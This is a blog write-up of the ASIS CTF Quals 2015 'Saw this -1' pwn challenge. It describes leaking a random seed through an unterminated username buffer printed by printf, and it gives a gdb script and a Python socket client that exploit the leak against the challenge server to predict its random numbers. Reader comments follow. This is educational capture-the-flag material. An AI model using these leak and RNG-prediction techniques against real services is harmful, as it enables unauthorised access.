Monday, May 11, 2015

Writeup: Saw this -1 @ ASIS CTF Quals 2015

Category: pwn
Points: 100
Description:


After loading binary in disassembler we easily identify the application flow.
random A = rand()
name = ask_user("How can I call you?")
print("Welcome $name")
lucky_number = ask_user("Choose your lucky number ...")
srand(lucky_number + random A)
how_many_numbers = generate_random()
for i in 1 to how_many_numbers:
    number[i] = generate_random()
for i in 1 to how_many_numbers:
    guess = ask_user("Number $i")
    if guess != number[i]:
        quit
We can almost predict random numbers. Part of seed is our lucky number and another part is random number A. Second part is unknown, how can we get it? 

Let's take a look at memory layout. 


RandomA is placed right after username buffer and that's good because of printf. Plan is to fulfill username buffer so that printf prints random A also.


Good, so we have leakage here. 

Now we have to re-implement same algorithm in C using srand/rand or we can use existing binary. I chose the latter. 

Idea is this:
connect to remote binary (ip 87.107.123.3, port 31337)
send A * 64 characters as username
read random A (4 bytes after username)
send 5 (or whatever) as lucky number
run local binary with breakpoints and commands to emulate same numbers
read predicted numbers
type numbers in remote binary and enjoy the flag
Take a look at function on 0x400D73. With couple of breakpoints and EIP/RIP redirection we can use that function to emulate environment and read random numbers. It's fairly simple so just gdb script is listed below.
break *0x400D89
commands
set $rip = 0x400E46
c
end
break *0x400E46
commands
set $edx = 0x11223344
set $eax = 5
c
end
break *0x400E8B
commands
set $count = $eax
set $i = 0
set $rip = 0x400EAE
c
end
break *0x400ECD
commands
print/u $dl
set $i = $i + 1
if $i == $count
    quit
end
set $rip = 0x400EAE
c
end
r
We also need client which will connect to remote binary, read random A and tell us with which argument do we have to run local binary.
import socket
import sys
import struct
import telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('87.107.123.3', 31337))
while True:
    d = s.recv(1024)
    print d
    if 'How can I call you?' in d:
        break
s.sendall('A' * 64)
d = s.recv(1024)
leak = d[73:77]
leak = leak[::-1]
leak = leak.encode('hex')
print 'change 0x11223344 to 0x%s in script file' % (leak)
s.sendall('5\n')
print s.recv(1024)
t = telnetlib.Telnet()
t.sock = s
t.interact()
Let's use all this and get the flag.







4 comments:

  1. Good writeup. I didn't get the own C implementation to work. Does anyone have one?

    ReplyDelete
    Replies
    1. Here are some details - https://www.whitehatters.academy/asis-ctf-quals-2015-saw-this-1/.

      Delete
  2. Did you call init_state with the same arguments? (it was in the initialization section of the original binary)

    ReplyDelete
    Replies
    1. Nope. I just used 0x400D73 function. First BP was on 0x400D89 and then I redirected RIP to 0x400E46 and there I set my lucky number = 5 and random A from remote binary.

      Delete